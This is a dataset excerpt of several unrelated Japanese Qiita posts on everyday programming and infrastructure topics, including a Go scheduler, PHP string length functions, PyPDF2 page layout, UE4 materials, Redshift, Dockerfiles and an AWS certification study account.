OmniAICreator/Qiita-1.07M huggingface dataset:
Golang: 指定した間隔でぴったり毎時00分とか30分に処理を実行したい件。

# tickerが思い通りにならない！
常駐して定期的に実行したいjobがあるが、普通のtickerだと起動してからtickerを作った時からintervalカウントが始まるので、時刻ぴったりに設定できない。しかも、tickerはちゃんと12:00:00になるようにintervalを設定しても、たまに11:59:59.999に動くことがあって、処理したデータがダブって登録されてしまうことがあった。

## tickerの使い方と、時刻制御の練習もかねて書いてみた。
https://github.com/xbridges/Scheduler
単純に、指定した時間間隔でぴったりにtickerが呼び出してくれる。

ex) sch, next := NewScheduler(3600, 0)

こんな感じで開始すると、毎時00分に一度tickerが発火します。
さらに、オフセット値を使うと、インターバルは毎時（3600）だけど、offset: 600とか設定すると、毎時05分にtickerが発火します。

## 偉そうに書いてるけど、やったことはただのラップ（笑
tickerを単純にラップしているだけなんですが、キモは、

  ```
  is := time.Duration(interval) * time.Second  // <-- 指定時刻をDurationに
  n := time.Now()   // <--現在の時刻
  ns := n.Round(is) // <--現在時刻を、インターバル時刻でマスクして丸めるような感じ。
  ```

こーすると、たまにtickerが早めに動いて、59分59秒.9999になっちゃっても四捨五入してくれるので、時間がちゃんと次の00分に発火するようになります。

定期実行していてちょっとはまったのでメモしました。

## 2021/06/17: 追記
実際にこのライブラリを使って動作をしていたら、妙に変な動作になることがあって、致命的なバグがありました。申し訳ありません。
修正したものを別ライブラリとして作成しなおしました。恥ずかしい。
https://github.com/xbridges/StickyTicker

## 参考
http://okzk.hatenablog.com/entry/2015/12/01/001924
https://www.kaoriya.net/blog/2019/12/19/
MacでWindows１０使用中にBlueoothが使えなくなった謎

2020年11月・・・
　ブートキャンプとWindowsの更新がかかった次の日から突然Bluetoothが使えなくなったよ問題。

#####環境
・MacBookAir　の　仮想環境のWindows１０

#####状態
　・デバイス設定画面からオンもオフ表示が消えた。
　　マウスのBluetooth設定は残ってるけど、グレーで削除も選択も出来ない。
　・通知エリアにもBluetoothがない。

#####やった方法
　・検索したらBluetoothの不具合は一個前に戻せば動かせるということで
　　デバイスマネージャー起動
　　　1）Bluetoothアイコンがない！
　　　　　・システムデバイス内にBluetoothがあったからやって再起動変わらず。

　　　2）MACOSに切り替えたりしてもダメ
　　　3）あれ？デバイスマネージャーにBluetoothアイコンがある！！でもマウスの情報なし。なんで？
　![システムデバイス_エラー.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/485039/62529f68-5e72-2753-11bb-94fe4f9d704a.png)

#####色々試した結果
　　　
　　１デバイスマネージャーのシステムデバイスを一回最新にしてから元に戻す
![システムデバイス.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/485039/e6ff4439-9877-b981-56ee-48aa8c84decc.png)
　　**※ただし再起動しちゃだめ。　**
　最新時にエラーコードが出てる。
![システムデバイス_最新エラー.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/485039/99be0b79-e3f9-0cef-9d22-c911e560e6e2.png)

「ドライバーを元に戻す」選択
![システムデバイス_最新エラー２.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/485039/0b4e2e33-7191-bb7d-3d6d-fa7760584339.png)
　　**※ただし再起動しちゃだめ。　**

ってするとBluetoothが戻ってくる！！カムバック！！Bluetooth！
　赤枠しかなかったBluetoothの中身が復活！！
![赤枠.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/485039/c43c36be-5ada-480b-30f1-153d0621ddd8.png)


でも、再起動や、フリーズしたあとは消えるので、次にPCを使う時にはまた同じことをしないといけない・・・

なんで消えるんやーーー！！
バイト　ビット　について　strlen関数mb_strlen関数で実証

学習した事をアウトプットするためいんQiita投稿しています。
学習中ユーザーが書いた記事になります。

[ビット・バイト]について学習した理由は、
strlen関数、mb_strlen関数(簡単に文字列を数える）関数について理解を深めたかったから。


<h1>ビットとは

ビットとは、０か１が入る箱の事。

つまり、

```
１ビット・・・０、１(２通り）

２ビット・・・０１、１０、００、１１　（４通り）

３ビット・・・０００、００１、０１０、０１１、１００、１０１、１１０、１１１（８通り）

４ビット・・・１６通り

５ビット・・・３２通り

それでは問題。

１６ビットは何通りでしょうか。

ヒント：
・１ビットで表現できるのは０、１の２通り
・ビットパターンは０、１の２通り

正解は下記　「【基本】シングルバイトとは」に記載。
```

上記を見ていただいたら分かる通り、１ビット増えるごと、倍のデータ量となります。


<h1>【基本】バイトとは

バイトとは、０か１が入る箱(ビット)が８つくらい入る大きな箱の事。

補足：
基本的には１バイト＝８ビット
ただ、
・１バイト＝９ビット
・１バイト＝７ビット
ともなるようですが、「基本的」の部分だけ学習して覚えていきます。


<h2>【基本】マルチバイトとは

２バイト以上のこと。
マルチとは複数という意味です。つまり、２バイト以上(複数)でマルチバイトと呼びます。

１バイト=256通りで表現出来ない情報量をマルチバイトと呼びます。

<h1>【基本】シングルバイトとは

シングルバイトとは、１バイトの事を呼びます。
シングルとは一つという意味です。
１バイトで表現できる情報量は８ビット＝２５６通りです。


```
16ビットの答えは
「６５５３６通り」
```

<h1>strlen関数,mb_strlen関数

冒頭でお伝えした
strlen関数、mb_strlen関数を使用してビット、バイト理解を深める。

補足：読み方間違えてるかもしれませんが、
・strlen(ストアレン)関数
・mb_strlen(マルチバイトストアレン)関数

```
strlen関数とは・・・文字列の長さのバイト数を返す(出力する)。

mb_strlen関数とは・・・日本語などのマルチバイト(複数）の文字列をカウントする。
```

strlen関数と、mb_strlen関数ではどのように違うのか実証！

```
mb_strlen関数

    $i = '初めまして';
    
    var_dump(mb_strlen($i,'utf8'));

出力結果：int(5)
ーーーーーーーーーーーーーーーーーーーーーーー

    $i = 'ABC123A';
    
    var_dump(mb_strlen($i));

出力結果：int(7)

```

```
strlen関数


    $i = '初めまして';
    
    var_dump(strlen($i));

出力結果：int(15)

ーーーーーーーーーーーーーーーー
    $i = 'ABC123A';
    
    var_dump(strlen($i));

出力結果：int(7)

```
アルファベットはしっかり文字列がカウントされているのに対して、
日本語は違う結果が返ってきました。
初めまして＝５文字です。
mb_strlen関数では５文字とカウントされているのに対して、
strlen関数は15文字とカウントされています。

<h2>どうして？

多くの日本語は１文字＝３バイト[24ビット]の情報量となっています。

また、半角英数字・・・１文字＝１バイト[8ビット]
となっています。

つまり、

```
strlen関数・・・上記で説明した様に、[バイト数]を返すため日本語１文字３バイトのため
日本語文字数５*１文字３バイト＝結果(15)と返ってくる。

mb_strlen関数・・・マルチバイト文字列に対して[文字列の長さ]を返すため結果(５)

```

<h2>ただし、mb_strlen関数　気をつける事

こちらにも記載しています。
https://www.php.net/manual/ja/function.mb-strlen.php

第二引数にエンコードを指定した方が良いよって事です。

これについて他記事も見ましたが、つまりは

```
第二引数は省略可能ですが、その場合は内部エンコーディングを使用するため
内部エンコーディングと文字エンコーディングが異なっている場合違った結果が返ってくる場合があるよって事です。

だから、第二引数を指定してあげた方が安全で安心ですよって事です。
var_dump(mb_strlen($i,○));
※○の部分( 第二引数)。
※エンコード指定の際にスペルミス等不明なエンコード指定した場合、エラーになります。
```

補足：今回私の環境で行った際にはこちらの記事通りの結果が返ってきました。
他記事を見ていると、記事の中には日本語１文字＝２バイトといった結果が返ってきている場合もあるようです。


<h1>まとめ

バイト・ビットについて学習をして、実際に関数を用いて実証する事で理解が深まりました。
Rails覚書

## 便利メソッド
### shuffle
要素をシャッフルしてくれる

```
[1] pry(main)> [1, 2, 3].shuffle
=> [2, 3, 1]
[2] pry(main)> [1, 2, 3].shuffle
=> [3, 2, 1]
```

## rspec
### Active Jobがキューされたかどうか

```
have_enqueued_job(XXX)
# 1回だけ
have_enqueued_job(XXX).exactly(1)
```
ServiceNow - 変更箇所一覧を表示する

#概要
バージョンアップする前に今までユーザが変更された内容を一覧表示したい場合があるます。

##すべての変更
**sys_update_xml**テーブルを表示するとすべての変更内容が表示されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/698027/9f61aa0e-0a4e-093f-d024-5648ca254737.png)

##特定テーブルへの変更を探すスクリプト

'''
var tableList = [
   'sys_script_include',
   'sys_ui_action',
   'sys_script',
   'sys_script_client',
   'sysauto_script',
   'sys_properties',
   'sysevent_script_action',
   'sys_ui_policy',
   'sys_data_policy2'
];

for (var i=0; i<tableList.length; i++) {
  getModifications(tableList[i]);
}

function getModifications(table) {
   var grTable = new GlideRecord(table);
   grTable.addJoinQuery('sys_user','sys_updated_by','user_name');
   grTable.addQuery('sys_updated_by', '!=', 'admin');
   grTable.query();
   while (grTable.next()) {
     gs.info(grTable.getClassDisplayValue() + ',' + grTable.getDisplayValue() + ',' + grTable.sys_created_by + ',' + grTable.sys_updated_by);
   }
}
```
A4のPDFを2ページごとのA3に変換・分割する

A4のPDFを2ページごとに左右に割付けてA3にしたいなぁという欲望にかられていたら、

「A4のPDFをA3に2面付（2in1）する -- Python(PyPDF2)」
https://qiita.com/miko/items/054b982700c6219c7fce

を見つけたので、少しアレンジしてみる。
とどのつまり、例えばA4の10ページ分のPDFがあったとしたら、2in1でA3の5ページ分のPDFに変換して分割したいということです。
そして総ページ数が奇数の場合、最後のページの右側は真っ白にして、とにかく全ページをA3に変換する。

```pdf_A3.py
import PyPDF2

A3_width = 1190.5511811024
A3_height = 841.8897637795

#元になるA4ファイルの読み込み
pdf_file = open('***.pdf','rb')
pdf_reader = PyPDF2.PdfFileReader(pdf_file)
#元になるA4ファイルのページ数の把握
page_num = pdf_reader.getNumPages()

cnt = 1
for start_page in range(0, page_num, 2):
    A3_page = PyPDF2.pdf.PageObject.createBlankPage(width=A3_width, height=A3_height)
    end_page = start_page + 1

    #左に奇数ページを配置
    page_left = pdf_reader.getPage(start_page)
    A3_page.mergePage(page_left)

    #右に偶数ページを配置するが、総ページ数が奇数のとき最後のA3ページの右側は白紙にする
    if start_page + 1 < page_num:
        page_right = pdf_reader.getPage(end_page)
        A3_page.mergeRotatedScaledTranslatedPage(page_right, 0, 1, A3_width / 2, 0, expand=False)
    else:
        pass
    
    pdf_writer = PyPDF2.PdfFileWriter()
    pdf_writer.addPage(A3_page)
    #生成するファイル名の後にゼロ埋め4桁の数字を付すためのおまじない
    file_num = str(cnt).zfill(4)

    file_name = 'test_A3_' + file_num + '.pdf'   
    output_file = open(file_name,'wb')
    pdf_writer.write(output_file)
    
    output_file.close()
    cnt += 1

pdf_file.close()
print ('終了!')
```

なんの需要があるのか分からないプログラムだが、パソコンの画面って横長だからさ、A4のPDFを横並びにしてA3にして表示したら見やすいだろ、と言い張りたいが、Acrobat Readerなりのビューアーの設定で表示を「見開きページ」にすればいいだけの話です。
AWSの各サービスをかわいらしく紹介するCM動画があったので、再生リストにまとめました。

AWSのサービスを調べている中で、
公式から配信されている、とってもかわいらしいCM動画を見つけました。

例: EC2
<p class="codepen" data-height="555" data-slug-hash="jOrJdNa" style="height: 265px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 0; padding: 0;">
</p>
<script async src="https://static.codepen.io/assets/embed/ei.js"></script>

小難しいイメージがある各サービスを、端的にわかりやすく解説してくれている動画なのですが、
特定のチャンネルにまとめられておらず、網羅的に観るのが難しかったので、再生リストにまとめてみました。

[AWS CM動画 - YouTube](https://www.youtube.com/playlist?list=PLwvrL0-3AsdnPAnpGdMcckUmy7-lWokJz)

まだまだあるよ！という方は、ぜひコメントにて教えていただければと思います。
よろしくお願いいたします。
UE4でオブジェクトスケールに依存しないマテリアルを作成する

以下のように通常のマテリアルだとオブジェクトスケールによって表示されるテクスチャのサイズが異なってしまいます。

![capNormalUV.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/16768/7c7eddf4-1c69-7103-d5f3-74aaa4d40db2.png)

これを以下のようにどんな大きさのオブジェクトに適用しても同じスケールのテクスチャで表示されるようにしてみたのでその内容をメモしておきます。
数学的な素養があまりないのでツッコミがあったらお願いします。
UE4.25.4で実装しています。

![capWorldUV.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/16768/1e5baaaf-edf9-2f7f-43e9-9d166dc1ba50.png)



# 既存の解決方法とその課題

以下のサイトにあるようにAbsolute World Positionを利用することでオブジェクトスケールと関係なく表示できるようになります。

[【CG】テクスチャをオブジェクトスケール等を無視して、UV値のみに依存させる【UE4】 – 建築グラビア](https://christinayan01.jp/architecture/archives/3937)

ただし、上記に紹介されている方法だとXY平面、YZ平面、ZX平面から斜めになると表示がずれてしまいます。

![capTamentaiBefore.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/16768/f781a248-043f-1552-9347-c2fd31c6aca3.png)


# オブジェクトスケールに依存しないマテリアル

面が斜めになっても大丈夫なようなマテリアルを作ってみました。

## 考え方

以下の図のように下記2つの交点が求まれば原点とあわせて距離を求めてU、Vの値が出せるのでその値を使ってみます。

* 法線に対する平面とWorldPositionから法線のXY成分ベクトルとの交点
* 法線に対する平面とXY平面の接線と上記交点との最短距離の交点

![capImage.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/16768/19525269-e6e9-a521-e369-bfe793d08c93.png)

ちなみに法線がZ軸方向に完全に上向きと下向きの場合は上記の計算ができないのでWorldPositionのXY成分をUV値とします。


## マテリアルファンクション - MF_IntersectionOfLineAndPlane

原点からの法線Normalで表される平面と位置LinePointからベクトルLineVectorで表される直線との交点を求める関数。
数式としては[こちら](http://yamatyuu.net/other/point1/index.html)のサイトを参照。
![MF_IntersectionOfLineAndPlane](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/16768/00c8dbe9-6e61-a749-2360-edef932fb319.png)

## マテリアルファンクション - MF_ShortestIntersectionOfVectorAndPoint

原点を通りベクトルVectorと地点Pointとの最短の交点を求める関数。
数式としては[こちら](http://www.infra.kochi-tech.ac.jp/takagi/Survey2/7Parameter.pdf)のサイトを参照。

![capMF_ShortestIntersectionOfVectorAndPoint.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/16768/a5c099c6-4d12-2dd1-d426-18f23aca2a8c.png)

## マテリアルファンクション - MF_UVtoCM

与えられたNormalとAbsoluteNormalPositionからUVを計算する関数です。
後から気づきましたが無駄に三平方の定理を使わずに原点と交点の距離からUを出す方が良いですね。

![capMF_UVtoCM.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/16768/200cb5ba-0733-818f-7e13-0a1220590002.png)

## マテリアル

上記で作成した関数を利用したマテリアル。
NormalテクスチャについてはPixelNormalWSの値を用いるとエラーになります。
PixelNormalWSはNormalテクスチャで指定した値が加味された値なので定義がループして使えないということでしょうか。
Normalテクスチャの影響がないVertexNormalWSを使うとうまくいくようです。

![capMaterial.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/16768/8b631802-268a-8475-25fd-20c2b7f6bf96.png)

## マテリアルを用いた表示結果

面が斜めでも表示されます。

![capTamentaiAfter.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/16768/876ca58d-12c9-3775-13cb-513e460e17b3.png)

## 作ってみた所感

マテリアルファンクションをちゃんと使うとデバッグもしやすいし見やすくなるのでいいですね。
【Redshift】Redshiftとは

## Redshiftとは
AWSがPostgreSQLをベースに開発したDWHのマネージドサービス

- 数百ギガバイトのデータから開始して、ペタバイト以上まで拡張が可能
- 複数ノードをまとめたクラスター構成
- 単一AZで起動し、マルチAZ構成は不可

**リーダーノード**：クライアントの窓口となる単一のノード
**コンピュートノード**：集計・分析などの処理を行う複数のノード

## インスタンスタイプ
利用するデータサイズと増加予測に応じて2つのインスタンスタイプから選択

### 1. RA3インスタンス
- コンピューティング性能とマネージドストレージのスケーリングと支払いを独立させることで、データウェアハウスを最適化する
- 最低2ノード必要
- データ量の増大が予想される場合に選択

### 2. DC2インスタンス
- 固定ローカルSSDストレージを使用したデータウェアハウス
- データのサイズ増加に対し、ノードを追加してクラスターのストレージ容量を増強
- 最低1ノード必要
- 未圧縮で1TB未満のデータセットでの利用に選択

## 列指向ストレージ
一般的なRDBMSのデータ格納方式は行指向であるのに対し、Redshiftでは列指向である
→ 集計・分析クエリに最適化されている

- 行データの追加処理は、行指向のデータベースに比べて遅くなる
- 書き込み回数が少なく、読み込みが複雑なクエリを頻繁に実行するようなユースケースに適する

## 超並列処理（MPP）
クライアントからクエリを受け付けたリーダーノードがクエリを解釈して各コンピュートノードに処理を指示し、各コンピュートノードがそれぞれ並列に処理を行い、結果を統合してクライアントに返す並列処理の仕組みのこと

※ シングルノード構成の場合はリーダーノードがコンピュートノードを兼任するため、MPPは行われない

## Redshift Spectrum
S3バケットからRedshiftへデータをロードせずに、S3バケット内のデータに対して直接クエリを実行出来る機能

- RedshiftからRedshift Spectrumを外部表として読み込むため、コンピュートノードにデータをロードする必要がない
- 機能の利用には、S3バケットとRedshift Spectrumの間に、Amazon Athenaによって作成されたAWS Glueデータカタログか、Apache Hiveメタストアが必要となる
Google App Engine x Laravel でroute:cache config:cacheを使う

## キャッシュしてサイト高速化がしたかった

```bash
php artisan config:cache
php artisan route:cache
```

## しかし、サイトにアクセスするとエラーになる

Read-onlyの場所に書き込みがあったぞ的な。

```
PHP message: PHP Fatal error:  Uncaught ErrorException: file_put_contents(/workspace/storage/dxcea6x78780x7e92x554x5f6dxade76x0c0x0ce.php): failed to open stream: Read-only file system in /workspace/vendor/laravel/framework/src/Illuminate/Filesystem/Filesystem.php:135
```

## app.yamlに追記すれば解決

```yaml:app.yaml
APP_SERVICES_CACHE: /tmp/services.php
APP_PACKAGES_CACHE: /tmp/packages.php
APP_CONFIG_CACHE: /tmp/config.php
APP_ROUTES_CACHE: /tmp/routes.php
```

無事、キャッシュ利用してサイト高速化ができました。
参考サイト：https://kido0617.github.io/php/2019-12-17-service-env/
LetsEnctyptで許可している暗号化スイーツ設定が厳しすぎてAPI接続エラーになった話(SSL/TLS のセキュリティで保護されているチャネルを作成できませんでした)


LetsEncryptで証明書取得時に`--apache`オプションを付与すると、自動的にSSL設定ファイル(`options-ssl-apache.conf`)が`/etc/letsencrypt`下に作成されます。

この設定で許可されているSSLプロトコルは`TLS1.2`のみで、暗号化スイートは以下のとおりです。(2020年8月頃の話です)

- ECDHE-ECDSA-AES128-GCM-SHA256
- ECDHE-RSA-AES128-GCM-SHA256
- ECDHE-ECDSA-AES256-GCM-SHA384
- ECDHE-RSA-AES256-GCM-SHA384
- ECDHE-ECDSA-CHACHA20-POLY1305
- ECDHE-RSA-CHACHA20-POLY1305
- DHE-RSA-AES128-GCM-SHA256
- DHE-RSA-AES256-GCM-SHA384

```conf:/etc/letsencrypt/options-ssl-apache.conf
SSLProtocol             all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1
SSLCipherSuite          ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384
```

# 発生した問題

本証明書が設置されているサーバ上のAPIをあるクライアント端末から実行しようとしたらエラーになりました。
エラー内容は以下です。

```
SSL/TLS のセキュリティで保護されているチャネルを作成できませんでした
```

この端末はやや古いOS(Windows 2012)で、アプリケーションは.NET Framework4.6上に構築されています。

| 項目 | 値 |
|:--|:--|
| OS  | Windows 2012  |
| アプリタイプ  | .netアプリ  |
| .NET Frameworkバージョン  | 4.6  |

上記エラーでぐぐると、暗号化プロトコルを以下のように明示的に指定すれば良い。という情報が多数見つかりますが本件では違いました。

```
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
```

【参考/上記問題について記載された記事】[WPFアプリ(.NET frameworkアプリ)でhttps(TLS1.1/TLS1.2)通信をする](https://nishy-software.com/ja/dev-sw/wpf-app-net-https-tls/)

# 解決策

暗号化スイート(`SSLCipherSuite`)に以下の2つを追加で許可することで解決しました。

* ECDHE-RSA-AES128-SHA256
* ECDHE-RSA-AES256-SHA384

この暗号化スイーツを追加してもサイトのSSL/TLS評価はAのままでした。

[SSL Server Test (Powered by Qualys SSL Labs)](https://www.ssllabs.com/ssltest/)

[![Image from Gyazo](https://i.gyazo.com/11c2d8df8141df336b0b5a1c66b23be6.png)](https://gyazo.com/11c2d8df8141df336b0b5a1c66b23be6)

# 関連URL

- [SSL Server Test (Powered by Qualys SSL Labs)](https://www.ssllabs.com/ssltest/)
- [Wireshark で TLS ハンドシェイクの流れを見てみる - Qiita](https://qiita.com/Shinya-Yamaguchi/items/becd042f641362c432bc)
- [WPFアプリ(.NET frameworkアプリ)でhttps(TLS1.1/TLS1.2)通信をする – nishy software (ja)](https://nishy-software.com/ja/dev-sw/wpf-app-net-https-tls/)
CSSの厳選小技③

# 今回は画像に関する特集
毎度同じみ小技紹介です。
今回のテーマは「画像」についてです。
画像のサイズを変更したりするの大変ですよね。
今日も便利な小技を紹介していきます。

## 画像のトリミング
画像の一覧を表示する時などは、画像のサイズが統一されていると並べて表示させてもすっきりキレイに整って見えますが、元々の画像のサイズが全部一緒ではありませんよね。そんな時は object-fit: cover; でトリミングすることができます！画像のサイズは縦横のうち小さい方を基準にして自動的に拡大・縮小され、ボックスからはみ出した部分はトリミングされます。

```CSS
img {
  width: 250px;
  height: 250px;
  object-fit: cover; /* この一行を追加するだけ！ */
}
```
画像をたくさん載せるようなサイトに重宝します！デザインをこだわるCSSらしい機能です！

## テキストの回り込み
Webでのデザインはどうしても四角形になりがちですが、CSS Shapesを使えばテキストを画像などの形にあわせて回りこませることができます！円形にテキストを回り込ませるには、円形要素に shape-outside: circle(); を与えます。つまり、画像の周りにテキストを回り込ませてみるには以下のコードになります。

```CSS
img {
  shape-outside: circle();
}
```
これ１行だけでいいんですよね。

# 結論
CSSでは見た目をお洒落にするためのものがかなり揃っています。
自分自身まだまだ知らないことが多いので今後もアウトプットで
ブログに執筆していきます！
【基本編】Dockerfileの書き方  自己学習②

##Dockerfileとは
Docker imageを作る上での設計図。
Dockerfileから作成する事で、コンテナの中身が把握しやすくなる。
Dockerfileを作成し下記のコマンドでimageを作成する。

```
$ docker build -t <name> <directory>
```

##Dockerfileの書き方
Dockerfileは基本的に、3つのinstructionから構成されている
・FROM
・RUN
・CMD

まずはFROMから書き始める。

```
FROM ubuntu:latest
RUN touch test
CMD ["ls"]
```
この例で例えると、`ubuntu`というOSイメージをFROMで作成を行い、Linuxの`touch`コマンドを使えるようにする。
大体`FROM`にはOSを指定したり、他の人が作成したDocker imageを指定する事が多い。

`RUN`で指定した作業がLayerとして積み重なっていく。
但し、RUNを多用するとLayerが増えていき、Dockerimageが重たくなるので注意が必要。

`CMD`はDockerfileの最後に記述する。
CMDで指定したコマンドが、containerを作成するときに実行される。
ここでは`ls`コマンドが実行される。

##RUNとCMDの違いについて
端的にまとめると、`RUN`はLayerを作る。
`CMD`はLayerを作らない。
つまりCMDは、Dockerimageには反映されない。

Dockerimageに保存したい場合はRUNで記述し、実行したい内容はCMDに記述するイメージになります。

##Layer数を軽量化するために...

Layerを作成するコマンドは三つある。
・RUN
・COPY
・ADD

実際の業務においてはRUNを主に使用し、パッケージを管理する事がメインになります。
パッケージを管理するコマンドが下記になります。

```
RUN　apt-get update　-新しいパッケージリストを取得
RUN　apt-get install <package> -<package>をインストール
```
これを`&&`で繋げる事によって、一行でまとまりLayerが軽量化される。

```
RUN apt-get update && apt-get install test
```
今回は以上です。
【Azure Synapse Analytics】serverless SQL pool で CSV ファイルのスキーマを自動検出する

# はじめに

Azure Synapse Analytics の serverless SQL pool で CSV ファイルを OPENROWSET 関数を使い参照する際、これまでは WITH 句で列名とデータ型を明示的に指定する必要がありました。

例えば、以下の CSV ファイルがあったとして、

```csv
ID,Name,Grade,Birthday
1,鈴木,2,2003年2月24日
2,田中,1,2004年5月16日
3,佐藤,2,2003年4月15日
4,山田,3,2002年6月20日
5,加藤,3,2002年10月1日
6,中村,2,2003年8月28日
7,三浦,1,2004年12月3日
```

OPENROWSET 関数を使った SQL 文は次のようになります。

```sql
SELECT TOP (100) *
FROM OPENROWSET
  (
      BULK 'https://xxx.blob.core.windows.net/xxx.csv'
    , FORMAT = 'CSV'
    , FIRSTROW = 2
  )
WITH
  (
    [ID] SMALLINT,
    [Name] varchar(10),
    [Grade] SMALLINT,
    [Birthday] varchar(20)
  )   AS DATA_RESULT;
  GO
```

## スキーマの自動検出

これまでは上記の書き方しかできなかったのですが、直近のアップデートでスキーマの自動検出機能が追加され、WITH 句を省略した場合に列名とデータ型を自動で推論してくれるようになりました。構文は以下のとおりです。

```sql
SELECT TOP (100) *
FROM OPENROWSET
  (
      BULK 'https://xxx.blob.core.windows.net/xxx.csv'
    , FORMAT = 'CSV'
    , PARSER_VERSION = '2.0'
    , HEADER_ROW = TRUE
  )
   AS DATA_RESULT;
  GO
```

`PARSER_VERSION`に 2.0 を指定した上で、CSV ファイルにヘッダ行がある場合は`HEADER_ROW`に TRUE、無い場合は FALSE を指定します。クエリの実行結果は以下のようになり、WITH 句を指定した場合と同様の結果が取得できていることが確認できます。
![20201117_synapse_autoschema_01_result.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/685288/2e5fb907-39dc-a6a2-775e-27fac0423606.jpeg)

## 推論されたデータ型の確認

スキーマの自動検出機能で推論されたデータ型が何であるかを確認したい場合は`sp_describe_first_result_set`システムストアドプロシージャを使用します。SQL 文としては以下のようになります。

```sql
EXEC sp_describe_first_result_set N'
SELECT TOP (100) *
FROM OPENROWSET
  (
      BULK ''https://xxx.blob.core.windows.net/xxx.csv''
    , FORMAT = ''CSV''
    , PARSER_VERSION = ''2.0''
    , HEADER_ROW = TRUE
  )
   AS DATA_RESULT';
  GO
```

実行結果の`System_type_name`列から推論されたデータ型が確認できます。
![20201117_synapse_autoschema_02_result.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/685288/cdf132e7-9e17-85a0-bf00-826dc3ce2dce.jpeg)

今回試した結果では数値データで bigint が、文字データで varchar(8000)がそれぞれ使用されており、比較的大きなデータ型が使用されている印象を受けます。これについては Microsoft Docs に以下のような記載があります。

>情報不足のために適切なデータ型を推論できず、代わりにより大きいデータ型が使用される場合もあります。 この場合、パフォーマンスのオーバーヘッドが発生します。特に、varchar (8000) として推論される文字型の列で大きな影響があります。 最適なパフォーマンスを得るには、推論されたデータ型を確認し、適切なデータ型を使用してください。

引用元:[Azure Synapse Analytics でサーバーレス SQL プール (プレビュー) を使う際の OPENROWSET の使用方法-スキーマの自動検出](https://docs.microsoft.com/ja-jp/azure/synapse-analytics/sql/develop-openrowset#automatic-schema-discovery)

使用した CSV ファイルのデータ件数が少なかったため、推論が上手くいっていなかった可能性があるようにと思われます。

## 所感

業務上、列数の多い CSV ファイルを取り扱うことも多いため、今回実装されたスキーマの自動検出機能で WITH 句の記述が省略できるのは、 serverless SQL pool を使っていく上で非常に有用に感じられます。

一方で、データによっては推論された型の妥当性を自分で判断したり、自動検出されたものを使わず WITH 句で明示的に型指定しなければならないケースもあり得ますので、この辺りはデータの特性に応じて適宜使い分けていけると良いのかなと思います。

## 参考リンク

[sp_describe_first_result_set (Transact-SQL)](https://docs.microsoft.com/ja-jp/sql/relational-databases/system-stored-procedures/sp-describe-first-result-set-transact-sql?view=sql-server-ver15)
message型をimportしたらundefinedが出た時にするべきVSCodeの設定のお話

# はじめに
gRPC便利ですね～。
ただgRPCを使っているとファイルのボリュームが増えてきていくつかのファイルにmessageやserviceを分けたいと思う時ありますよね？

>大きい .proto ファイルは複数のファイルに分割できます。サービス、リソース メッセージ、リクエスト / レスポンス メッセージは、必要に応じて別々のファイルに移動します。
>https://cloud.google.com/apis/design/file_structure

>type/* - 異なる API 間、同じ API の異なるバージョン間、または API とサービスの実装間で共有される型を含む proto ファイル。type/* の下にある型定義には、リリース後に互換性を損なう変更を加えるべきではありません。
>https://cloud.google.com/apis/design/directory_structure

# 行く手を阻む undefined エラー
しかし複数ファイルに分け、例えばtypeディレクトリから共通のmessage型をImportして使おうとするとVSCodeでは困ったことになります。

undefinedエラー。。。

まあgRPCが使えないわけではないのですが、なんか気持ち悪い！！
Ctr+クリックで定義にも飛べないし、どうにかしたい！！！！

# undefinedエラーを回避する設定
VSCodeで vscode-proto3 を使っている人であれば下記のように grpc/.vscode/settings.json に追加すればこのストレスから解き放たれます。

```
{
  "protoc": {
      "options": [
          "--proto_path=hoge/pb/type" // protoファイルがあるディレクトリへのパス/
      ]
  }
}
```
issue：https://github.com/zxh0/vscode-proto3/issues/31
IT未経験でAWS Solution Architect Associateに合格できた話

Quiitaは初投稿となります。
よろしくお願いいたします。


筆者は現在、IT会社に勤めて2年目になります。
去年の２月にAWS SAAに合格したので、
記録もかねて勉強法や当時の技術レベルなどを交えて、記載していきたいと思います。

感覚ベースの話が多いと思いますので、概要をざっくり知りたいなどの、
これから受けようと思っている方や、
最近勉強し始めたけど、何となく不安だなと感じている方にはおススメかもしれません。



まずは勉強を開始するときの技術レベルです。

*▼技術レベル*

・AWSの知識
Amazonが関わっているクラウドのサービス？
案件でVPC・EC2・RDSという名称は見るけど、よくわかってない。

・インフラの知識
Web三層構成は研修でやったなぁ。
難しくて一人じゃできない。

・勉強方法の知識
一夜漬け is 最強　と思っている。


当時は、大げさでもなく本当にこのような状態でした。
計画を立てるのはできても、その通りに実行できた試しがなく、自信なんて微塵もありませんでした。


*▼勉強した期間*
・半年

実務で４ヶ月くらい何んとなくAWSサービスを触れていって、
本腰入れて詰め込んだのは２か月ほどでした。
一日に約100問ほどをWEB問題集で解いていき、参考書はほとんど使いませんでした。
１日２時間は意地でも守り、土日は絶対に勉強しないというルールを作っていました。

*▼勉強方法*
・WEB問題集をひたすら解く

ただそれだけをひたすらにやりました。
通勤と退勤の電車の中では携帯でとにかく解いていました。
